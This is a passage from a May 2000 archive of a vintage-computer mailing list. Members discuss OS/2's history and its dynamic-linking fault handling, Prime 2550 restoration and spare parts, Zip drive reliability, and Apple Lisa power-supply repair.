IBM, etc. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From chris at mainecoon.com Fri May 26 13:19:29 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:53:09 2005 Subject: Documenting how old computers were used References: <8763AE987517D2118C0500A0C9AB234C2BAD56@tegntserver.tegjeff.com> Message-ID: <392EC031.2C12C0D1@mainecoon.com> Douglas Quebbeman wrote: > Any other Pr1me fans hanging out here??? Yep. I'm the proud keeper of a 2550 with assorted spares, media and boxloads of manuals. I purchased this machine from John, who in turn had purchased it from the original owner, who in turn has been helpful in bringing it back to life. The plan remains to make this thing available on the Net via the xyplex I've got sitting here, but I need to re-rack it first -- it's original rack was lost somewhere along the way and it's present rack doesn't provide adequate airflow :-( -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From bwit at pobox.com Fri May 26 13:37:30 2000 From: bwit at pobox.com (Bob Withers) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: References: <392EB47C.5D0790AF@cheta.net> Message-ID: <3.0.6.32.20000526133730.008ed100@ruffboy.com> At 10:41 AM 5/26/00 -0700, you wrote: >Don't forget that OS/2 was written by Gordon Letwin >AT MICROSOFT! > > >You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft >Press. > I had always thought this was a really good read. I still have a couple of copies laying around somewhere. Long ago while working a bug in HPFS I got to work with Gordon over the phone. Sometimes I really miss the old days. I'll have to go home and dig out my "Microsoft OS/2" coffee mug :-) Bob From bwit at pobox.com Fri May 26 13:44:27 2000 From: bwit at pobox.com (Bob Withers) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <392EB9BC.A0C23734@rain.org> References: Message-ID: <3.0.6.32.20000526134427.008f7bd0@ruffboy.com> At 10:51 AM 5/26/00 -0700, you wrote: > > >"Fred Cisin (XenoSoft)" wrote: >> >> Don't forget that OS/2 was written by Gordon Letwin >> AT MICROSOFT! >> >> You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft >> Press. > >I think you mean "who is AT MICROSOFT now". IIRC, he was not at Microsoft >when he was originally working on OS/2. > > No, Gordon has been at Microsoft since long before OS/2. I think he came from Heath in the very early days when BASIC was pretty much the only product Microsoft had. The original OS/2 1.0 (character mode only) was a partnership of IBM and Microsoft although nearly all the 1.0 code was done by MS. The 1.1 release which included PM (developed at IBM's Hursley labs) was the first major contribution by IBM that I'm aware of. Microsoft released the first OS/2 SDK's available in late 1988 (mine cost $3000!) and held several developer's conferences in 88 and 89. They continued to ship OS/2 under their label through verion 1.2. 1.3 was the forst release that was available solely from IBM. Regards, Bob From cisin at xenosoft.com Fri May 26 13:45:18 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <392EB9BC.A0C23734@rain.org> Message-ID: > > Don't forget that OS/2 was written by Gordon Letwin > > AT MICROSOFT! > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > Press. On Fri, 26 May 2000, Marvin wrote: > I think you mean "who is AT MICROSOFT now". IIRC, he was not at Microsoft > when he was originally working on OS/2. Gordon Letwin was at MICROS~1 when he wrote OS/2. Gordon Letwin was one of the first employees of MICROS~1. He is in the oft shown group photo ("MS-DOS Encyclopedia", etc.) of the Microsoft staff in Albuquerque, with Bill Gates, Paul Allen, Gordon Letwin, Bob Wallace, and I can't remembner who else. I don't know if he is at MICROS~1 NOW. and I can not IMAGINE him at IBM! -- Grumpy Ol' Fred cisin@xenosoft.com From pechter at pechter.dyndns.org Fri May 26 13:51:43 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <392EB47C.5D0790AF@cheta.net> from Technoid Mutant at "May 26, 2000 01:29:32 pm" Message-ID: <200005261851.OAA47123@bg-tc-ppp997.monmouth.com> > Now, after nine years of FUD, lies, and the ignorance that > fostered, some client's now have a legitimate reason to run Windows. Yes, I'm > pissed about it. I may be forced to run something incomplete and messy (Linux) or > something half-assed (Windows) but I don't have to like it. Every time I show a > warp system to a customer or friend they allways say something kin to 'how the hell > did this stay a secret?!' and 'why is anyone running windows'!!. > > Why did this happen -- because MS controls the desktop apps in 90% off the corporations. I wonder if IBM dropped Lotus Smartsuite internally yet. My old group in IBM Global Services was on Win95/Office95 because the client used it. Bet it's gonna be an MS world until they get forced to change. Bill From dhquebbeman at theestopinalgroup.com Fri May 26 13:56:25 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff.com> > Don't forget that OS/2 was written by Gordon Letwin > AT MICROSOFT! > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > Press. While I agree OS/2 is a better operating system than Windows, this book depressed me due to Gordon's wrongheaded-belief that a GPF should always be considered an indicator of a programming problem. Since Intel didn't give us a pointer fault, the GPF is the only proper way to implement dynamic linking. As they shipped, OS/2 from version 1.0 to 1.2 never did properly implement dynamic linking; and Windows inherits the wrong way from OS/2. Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) wrote an article that appeared in a magazine that described OS/2's dynamic linking as operating the way it should. The key difference is this: in real dynamic linking, CALL instructions that are supposed to invoke procedures in a DLL are constructed in the executable image such that when the processor executes the CALL, it causes a GPF [pointer fault]; then the GPF handler looks at the faulting instruction. If the pointer is a faulted pointer to a routine in a DLL, then snap the link [map the DLL into memory and then modify the faulting instruction to point to the entry point of the routine as described in the DLL's export table], and restart the instruction. Otherwise, it's a bug and you signal a condition which somehere generates an error message. In this scenario, programs start up much faster because the OS is not reading and linking every routine in the executable's import table. If you never use feature in the program, and if feature resides tottally in a separate DLL, then that DLL never gets mapped into RAM. MUCH, MUCH better execution, more robust operation, in particular, the machine wouldn't thrash at startup dur to all those programs in your startup folder. Due to Ed's article, I always assumed that there was a turf was between IBM and Microsoft on this and other salient technical points. MS won and was wrong. So, having said that, you might see why I'm not a big fan of Letwin's. Shew! Glad I got _that_ off my chest again. respectfully submitted, -doug quebbeman From dhquebbeman at theestopinalgroup.com Fri May 26 14:22:46 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:09 2005 Subject: Documenting how old computers were used Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD5B@tegntserver.tegjeff.com> > > Any other Pr1me fans hanging out here??? > > Yep. I'm the proud keeper of a 2550 with assorted spares, > media and boxloads of manuals. I purchased this machine > from John, who in turn had purchased it from the original > owner, who in turn has been helpful in bringing it back > to life. > > The plan remains to make this thing available on the Net > via the xyplex I've got sitting here, but I need to re-rack > it first -- it's original rack was lost somewhere along the > way and it's present rack doesn't provide adequate > airflow :-( Yeah, you're the guy I was thinking of when I was talking to someone else (I asked him if he was the guy from Maine, but he's down in Tennessee). I'm working on some sources for spares; but I'm not even sure what I'll find in the machine. The owner had a stroke around Christmas, and some things are returning more slowly than others. But I'll definitely be needed either a 7110 or 7210 SCSI controller and an LHC300 ethernet controller. So, what's a Xyplex? -doug q From healyzh at aracnet.com Fri May 26 14:29:19 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:53:09 2005 Subject: Documenting how old computers were used In-Reply-To: <000e01bfc736$06bd64a0$fb721fd1@default> References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: >possible. I use a zip drive to store all this information on so that I >do fill up my main system's hard drive. >John Keys NEVER trust a Zip drive with important info, I hope you've got a backup of the data on other media. Yes, this is the voice of experience speaking. Thankfully it wasn't that important of data in my case. If anyone wants to know what I'm talking about research the 'Click of Death'. My PowerMac G4/450 came with a Zip Drive, I've never bothered sticking any of the many disks I've got in it. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From cmcmanis at mcmanis.com Fri May 26 15:00:57 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:53:09 2005 Subject: Documenting how old computers were used In-Reply-To: References: <000e01bfc736$06bd64a0$fb721fd1@default> <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <4.3.1.2.20000526130025.02a3a7d0@208.226.86.10> At 12:29 PM 5/26/00 -0700, you wrote: >NEVER trust a Zip drive with important info, I hope you've got a backup of >the data on other media. Yes, this is the voice of experience speaking. >Thankfully it wasn't that important of data in my case. The "Click of Death" kills the drive but I've not heard that it actually killed the media. References? --Chuck From mikeford at socal.rr.com Fri May 26 13:32:45 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:09 2005 Subject: Documenting how old computers were used In-Reply-To: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: >When people receive complete systems (with software, manuals, etc.) do you >make any attempt to document the state of the system when you received it? >For example, do you record what programs were on the hard drive, what >peripherals were included, what the system was used for (either what you >were told, or could infer), etc? I dump the drive contents to a network server and periodically burn a CDR. Too often in an older system the priceless element is the software. I have a pair of IIci macs with MARS compression cards in them, that I have left intact so I can later figure out what they do. I have MANY more cards etc. though that I have little hope of ever making work again (DOME imaging systems etc.). From stevemas at persys.com Fri May 26 15:14:10 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff .com> Message-ID: <4.3.1.2.20000526161020.00ce0460@persys.com> Close, but not quite correct. GPF is a general protection fault, the most common problem is a bad or uninitialized pointer. What makes a DLL get loaded, or paged in, is a page fault. Its the same mechanism that causes a swapped out page to be swapped back in on a 4K boundary. At 02:56 PM 5/26/00 -0400, you wrote: > > Don't forget that OS/2 was written by Gordon Letwin > > AT MICROSOFT! > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > Press. > >While I agree OS/2 is a better operating system than Windows, this >book depressed me due to Gordon's wrongheaded-belief that a GPF >should always be considered an indicator of a programming problem. > >Since Intel didn't give us a pointer fault, the GPF is the only >proper way to implement dynamic linking. As they shipped, OS/2 >from version 1.0 to 1.2 never did properly implement dynamic linking; >and Windows inherits the wrong way from OS/2. > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) >wrote an article that appeared in a magazine that described OS/2's >dynamic linking as operating the way it should. > >The key difference is this: in real dynamic linking, CALL instructions >that are supposed to invoke procedures in a DLL are constructed in the >executable image such that when the processor executes the CALL, it >causes a GPF [pointer fault]; then the GPF handler looks at the faulting >instruction. If the pointer is a faulted pointer to a routine in a DLL, >then snap the link [map the DLL into memory and then modify the faulting >instruction to point to the entry point of the routine as described in >the DLL's export table], and restart the instruction. Otherwise, it's a bug >and you signal a condition which somehere generates an error message. >In this scenario, programs start up much faster because the OS is not >reading and linking every routine in the executable's import table. If >you never use feature in the program, and if feature resides >tottally in a separate DLL, then that DLL never gets mapped into RAM. >MUCH, MUCH better execution, more robust operation, in particular, the >machine wouldn't thrash at startup dur to all those programs in your >startup folder. > >Due to Ed's article, I always assumed that there was a turf was between >IBM and Microsoft on this and other salient technical points. MS won >and was wrong. > >So, having said that, you might see why I'm not a big fan of Letwin's. > >Shew! Glad I got _that_ off my chest again. > >respectfully submitted, >-doug quebbeman - Steve Mastrianni From ard at p850ug1.demon.co.uk Fri May 26 13:17:06 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525224452.355fa79a@mailhost.intellistar.net> from "Joe" at May 25, 0 10:44:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3251 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/e3aac2e4/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:20:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000525225037.355f6a14@mailhost.intellistar.net> from "Joe" at May 25, 0 10:50:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1390 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/56eecb7f/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:01:56 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Items for trade In-Reply-To: from "R. D. Davis" at May 25, 0 10:27:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1038 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/4e56a3d6/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:06:53 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: In-Reply-To: from "R. D. Davis" at May 25, 0 11:36:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 862 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/c19229df/attachment-0001.ksh From rigdonj at intellistar.net Fri May 26 16:14:12 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:09 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <2921A6D846E9D31182490050040DC0D6682C3E@hoexc101.hotoffice. com> Message-ID: <3.0.1.16.20000526161412.502f27ee@mailhost.intellistar.net> At 09:26 AM 5/26/00 -0400, you wrote: >> FWIW I usually use an old disk drive. It's very handy since many >> computers already have a power connector that will plug >> directly onto the >> drive and it provides a load to both the +12 and +5 volt >> power supplies. >> > >Joe, > >Aren't you afraid of damaging the disk drive by doing that? Just kidding... >;-) That's why I only use DEC drives! Just kidding :-) Joe From ard at p850ug1.demon.co.uk Fri May 26 13:44:05 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Paper tape format In-Reply-To: from "allisonp@world.std.com" at May 26, 0 08:53:55 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 452 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/75b0787a/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 26 13:47:51 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: <4.3.0.20000526082119.01fcb6b0@pc> from "John Foust" at May 26, 0 08:25:31 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 627 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/3f51f536/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 26 14:56:00 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Bootable Floppy from CD? In-Reply-To: from "Vintage Computer GAWD!" at May 26, 0 07:17:53 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2093 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/95e5fcd1/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 26 15:06:12 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: from "R. D. Davis" at May 26, 0 12:54:43 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1728 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/14914f69/attachment-0001.ksh From rigdonj at intellistar.net Fri May 26 16:25:34 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:09 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <200005261714.e4QHEP125187@mail2.siemens.de> References: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <3.0.1.16.20000526162534.502f9e0a@mailhost.intellistar.net> At 07:14 PM 5/26/00 +1, Hans wrote: >> > Lisas out there. Even with blown components, he could still have sold them >> > for hundreds "as-is" on eBay, where they would provide parts to revive > >> Yes, right... fry that system and then sell it on e-bay, that's ok, >> because it will still bring a high price, so who cares whether it >> works, right? Turn the monitors into fishbowls, remove core memory >> and sell it in a picture frame, because, who cares if these are used >> again since they can bring big bucks on e-bay. > >Well, is this now the right time to tell that I'm still >searching for a VT220 in _very_ good shape to turn it >into a fish tank ? How about a WT-78? I have one of them that's sitting around taking up room. Joe From foo at siconic.com Fri May 26 14:30:08 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:09 2005 Subject: Unix TERMCAP contains interesting historyical tidbits Message-ID: I was going through the Unix TERMCAP on this Linux box I'm setting up and noticed that it contains quite a few tidbits about classic computers in there. It actually has some useful info for research. There is even a section describing the dip switches on the Heathkit H19 terminal. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From steverob at hotoffice.com Fri May 26 15:46:25 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:53:09 2005 Subject: Prime Parts: was "Documenting how old computers..." Message-ID: <2921A6D846E9D31182490050040DC0D6682D2F@hoexc101.hotoffice.com> I've got a small Pr1me buried somewhere in my garage. I'm not prositive but, I *think* it's a 2550. It's a complete system but, it has a bad CPU. That being the case, I'll make any of the parts available for anyone that's looking to resurrect one. Let me know exactly what parts you need and I'll see if I have them. I'm really not too familiar with that hardware so, you'll have be *real* specific about the parts you need. I also have a bunch of Pr1me DOCs (many still in the shrink wrap) if someone needs them. I'd like to get a token fee for the parts and of course you'd have to pay shipping from South Florida. Later, Steve Robertson > -----Original Message----- > From: Douglas Quebbeman [mailto:dhquebbeman@theestopinalgroup.com] > Sent: Friday, May 26, 2000 3:23 PM > To: 'classiccmp@classiccmp.org' > Subject: RE: Documenting how old computers were used > > > I'm working on some sources for spares; but I'm not even sure > what I'll find in the machine. The owner had a stroke around > Christmas, and some things are returning more slowly than others. > > But I'll definitely be needed either a 7110 or 7210 SCSI controller > and an LHC300 ethernet controller. > > So, what's a Xyplex? > > -doug q > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/69152bc5/attachment-0001.html From technoid at cheta.net Fri May 26 15:55:05 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:53:09 2005 Subject: CT Miniframe References: Message-ID: <392EE4A8.CB9D260@cheta.net> Contact Tom Worley (STKGURU@NETSIDE.NET). He ran CT mainframes from 1978 to 1983 for the Coast Guard. He might be able to help you. Regards Jeff "R. D. Davis" wrote: > Greetings, > > Are there still users on this list who've used a CT Miniframe running > CTIX and have experience installing the OS from tapes? > > -- > R. D. Davis > rdd@perqlogic.com > http://www.perqlogic.com/rdd > 410-744-4900 From jlewczyk at his.com Fri May 26 16:35:55 2000 From: jlewczyk at his.com (John Lewczyk) Date: Sun Feb 27 18:53:09 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: Message-ID: <000301bfc75a$5fd3bfc0$013da8c0@Corellian> > > overlooked (or just ignored) that fact that the problem with this supply is > > that it never turns on and not that it turns on and is overloaded. The > > NUMEROUS other Lisas that I know of that have "bad' power supplies have the > > same symptoms and I have to wonder if it really is a power supply problem The Lisa power supply has a signal line called "ON" which is supplied by the IO board, and which apparently turns on the power supply's main outputs. The PS has a "+5V standby" voltage which is always on (as long as the unit is plugged in), and the integral safety interlock switch is pressed in. The PS safety interlock switch is located in a rear corner of the power supply unit and it is pressed in by the rear cover when installed). Also, the PS "ON" signal is passed through a second safety interlock switch, which, when the front panel is installed, closes, allowing the "ON" signal to pass from the IO board to the PS. There are only 2 interlock switches on the Lisa. I found them easily overridden to work on the unit with the covers off. The Lisa's "soft power switch" shorts to ground a signal that goes to the "IO board". The circuity on the "IO board" senses this, and then asserts the "ON" line of the Power Supply (using a COPS 421 Microcontroller unit, which also controls the keyboard and mouse). This setup gives the Lisa control over its own power. I've heard that the Lisa could be programmed to turn itself on at an appointed time! In addition, the Lisa won't shut down until the O/S thinks its OK to do so (i.e. the hard drive has been properly updated). I've learned these things because I'm also in the process of repairing a Lisa whose power supply won't turn on. I've yet to test the power supply out of the the box with test loads to verify the operation of the supply. When I've figure out the rest of the power supply scheme, I'll post what else I've learned to the group. John From rdd at smart.net Fri May 26 16:33:11 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:09 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: Message-ID: On Fri, 26 May 2000, Tony Duell wrote: > [1] Actually, the PERQ 3a (aka AGW3300) was a 68020-based unix box. All > other PERQs had the soft-microcoded CPU. However, what I did was the easy part. > > Had it not been for some hackers in the U.K., one very highly skilled > > hardware hacker in particular - who may be reading this list and will > > probably comment on this message :-), much of the information needed > > Who the heck was that? It's about the time I got my first PERQ (a 2T1), > but I hardly fit the rest of the description. Unless 'very highly > skilled' == 'termninally clueless'. Ok, do you want to get into a flame-fest over this? I was referring you you. DOn't tell me that you're beginning to believe the bizdroid definition of highly skilled which is "terminally clueless," and the corresponding bizdroid equation where: (terminally clueless) * n = ((highly * n) unskilled) * cq) where cq is the conformity quotient -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From doug at blinkenlights.com Fri May 26 16:36:39 2000 From: doug at blinkenlights.com (Doug Salot) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000526161020.00ce0460@persys.com> Message-ID: Eh? You're both wrong. OS/2 used the protected-mode multi-segment support of the x86, but recall that OS/2 was originally released on the 286 -- it didn't have any paging support. It's easy to distinguish a fault during a CS load from a GPF, and no page fault is involved. Cheers, Doug On Fri, 26 May 2000, Steve Mastrianni wrote: > Close, but not quite correct. > > GPF is a general protection fault, the most common problem is a bad or > uninitialized pointer. > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > mechanism that causes a swapped out page to be swapped back in on a 4K > boundary. > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > Don't forget that OS/2 was written by Gordon Letwin > > > AT MICROSOFT! > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > Press. > > > >While I agree OS/2 is a better operating system than Windows, this > >book depressed me due to Gordon's wrongheaded-belief that a GPF > >should always be considered an indicator of a programming problem. > > > >Since Intel didn't give us a pointer fault, the GPF is the only > >proper way to implement dynamic linking. As they shipped, OS/2 > >from version 1.0 to 1.2 never did properly implement dynamic linking; > >and Windows inherits the wrong way from OS/2. > > > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) > >wrote an article that appeared in a magazine that described OS/2's > >dynamic linking as operating the way it should. > > > >The key difference is this: in real dynamic linking, CALL instructions > >that are supposed to invoke procedures in a DLL are constructed in the > >executable image such that when the processor executes the CALL, it > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > >then snap the link [map the DLL into memory and then modify the faulting > >instruction to point to the entry point of the routine as described in > >the DLL's export table], and restart the instruction. Otherwise, it's a bug > >and you signal a condition which somehere generates an error message. > >In this scenario, programs start up much faster because the OS is not > >reading and linking every routine in the executable's import table. If > >you never use feature in the program, and if feature resides > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > >MUCH, MUCH better execution, more robust operation, in particular, the > >machine wouldn't thrash at startup dur to all those programs in your > >startup folder. > > > >Due to Ed's article, I always assumed that there was a turf was between > >IBM and Microsoft on this and other salient technical points. MS won > >and was wrong. > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > >Shew! Glad I got _that_ off my chest again. > > > >respectfully submitted, > >-doug quebbeman > > > - Steve Mastrianni > From stevemas at persys.com Fri May 26 18:21:53 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: References: <4.3.1.2.20000526161020.00ce0460@persys.com> Message-ID: <4.3.1.2.20000526191756.05e2ad70@persys.com> Eh, no. The paging was totally rewritten for OS/2 2+. OS/2 must assuredly used 4K pages (and still does). OS/2 for the 286 was version 1.x. I worked on the memory manager. At 05:36 PM 5/26/00 -0400, you wrote: >Eh? You're both wrong. OS/2 used the protected-mode multi-segment >support of the x86, but recall that OS/2 was originally released on the >286 -- it didn't have any paging support. It's easy to distinguish a >fault during a CS load from a GPF, and no page fault is involved. > >Cheers, >Doug > >On Fri, 26 May 2000, Steve Mastrianni wrote: > > > Close, but not quite correct. > > > > GPF is a general protection fault, the most common problem is a bad or > > uninitialized pointer. > > > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > > mechanism that causes a swapped out page to be swapped back in on a 4K > > boundary. > > > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > > > Don't forget that OS/2 was written by Gordon Letwin > > > > AT MICROSOFT! > > > > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > > Press. > > > > > >While I agree OS/2 is a better operating system than Windows, this > > >book depressed me due to Gordon's wrongheaded-belief that a GPF > > >should always be considered an indicator of a programming problem. > > > > > >Since Intel didn't give us a pointer fault, the GPF is the only > > >proper way to implement dynamic linking. As they shipped, OS/2 > > >from version 1.0 to 1.2 never did properly implement dynamic linking; > > >and Windows inherits the wrong way from OS/2. > > > > > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) > > >wrote an article that appeared in a magazine that described OS/2's > > >dynamic linking as operating the way it should. > > > > > >The key difference is this: in real dynamic linking, CALL instructions > > >that are supposed to invoke procedures in a DLL are constructed in the > > >executable image such that when the processor executes the CALL, it > > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > > >then snap the link [map the DLL into memory and then modify the faulting > > >instruction to point to the entry point of the routine as described in > > >the DLL's export table], and restart the instruction. Otherwise, it's > a bug > > >and you signal a condition which somehere generates an error message. > > >In this scenario, programs start up much faster because the OS is not > > >reading and linking every routine in the executable's import table. If > > >you never use feature in the program, and if feature resides > > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > > >MUCH, MUCH better execution, more robust operation, in particular, the > > >machine wouldn't thrash at startup dur to all those programs in your > > >startup folder. > > > > > >Due to Ed's article, I always assumed that there was a turf was between > > >IBM and Microsoft on this and other salient technical points. MS won > > >and was wrong. > > > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > > > >Shew! Glad I got _that_ off my chest again. > > > > > >respectfully submitted, > > >-doug quebbeman > > > > > > - Steve Mastrianni > > - Steve Mastrianni From ard at p850ug1.demon.co.uk Fri May 26 17:34:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:09 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <000301bfc75a$5fd3bfc0$013da8c0@Corellian> from "John Lewczyk" at May 26, 0 05:35:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1184 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/f5fee566/attachment-0001.ksh From doug at blinkenlights.com Fri May 26 19:05:17 2000 From: doug at blinkenlights.com (Doug Salot) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000526191756.05e2ad70@persys.com> Message-ID: I can believe that, but I thought we were talking about Gordon Letwin and the days when Microsoft designed/shipped OS/2. Letwin's book was published in 1988, well before OS/2 2.x. In any case, page faults are not required for DLL loading in any x86 OS. If you're using a flat memory model, then it might make sense. Was 2.x using a flat memory model? BTW, anybody have an MS-labeled version of OS/2? I think I still have a 1.2 box someplace. Cheers, Doug On Fri, 26 May 2000, Steve Mastrianni wrote: > Eh, no. The paging was totally rewritten for OS/2 2+. > > OS/2 must assuredly used 4K pages (and still does). OS/2 for the 286 was > version 1.x. > > I worked on the memory manager. > > At 05:36 PM 5/26/00 -0400, you wrote: > >Eh? You're both wrong. OS/2 used the protected-mode multi-segment > >support of the x86, but recall that OS/2 was originally released on the > >286 -- it didn't have any paging support. It's easy to distinguish a > >fault during a CS load from a GPF, and no page fault is involved. > > > >Cheers, > >Doug > > > >On Fri, 26 May 2000, Steve Mastrianni wrote: > > > > > Close, but not quite correct. > > > > > > GPF is a general protection fault, the most common problem is a bad or > > > uninitialized pointer. > > > > > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > > > mechanism that causes a swapped out page to be swapped back in on a 4K > > > boundary. > > > > > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > > > > > Don't forget that OS/2 was written by Gordon Letwin > > > > > AT MICROSOFT! > > > > > > > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > > > Press. > > > > > > > >While I agree OS/2 is a better operating system than Windows, this > > > >book depressed me due to Gordon's wrongheaded-belief that a GPF > > > >should always be considered an indicator of a programming problem. > > > > > > > >Since Intel didn't give us a pointer fault, the GPF is the only > > > >proper way to implement dynamic linking. As they shipped, OS/2 > > > >from version 1.0 to 1.2 never did properly implement dynamic linking; > > > >and Windows inherits the wrong way from OS/2. > > > > > > > >Strangely, Ed Iacobucci (who 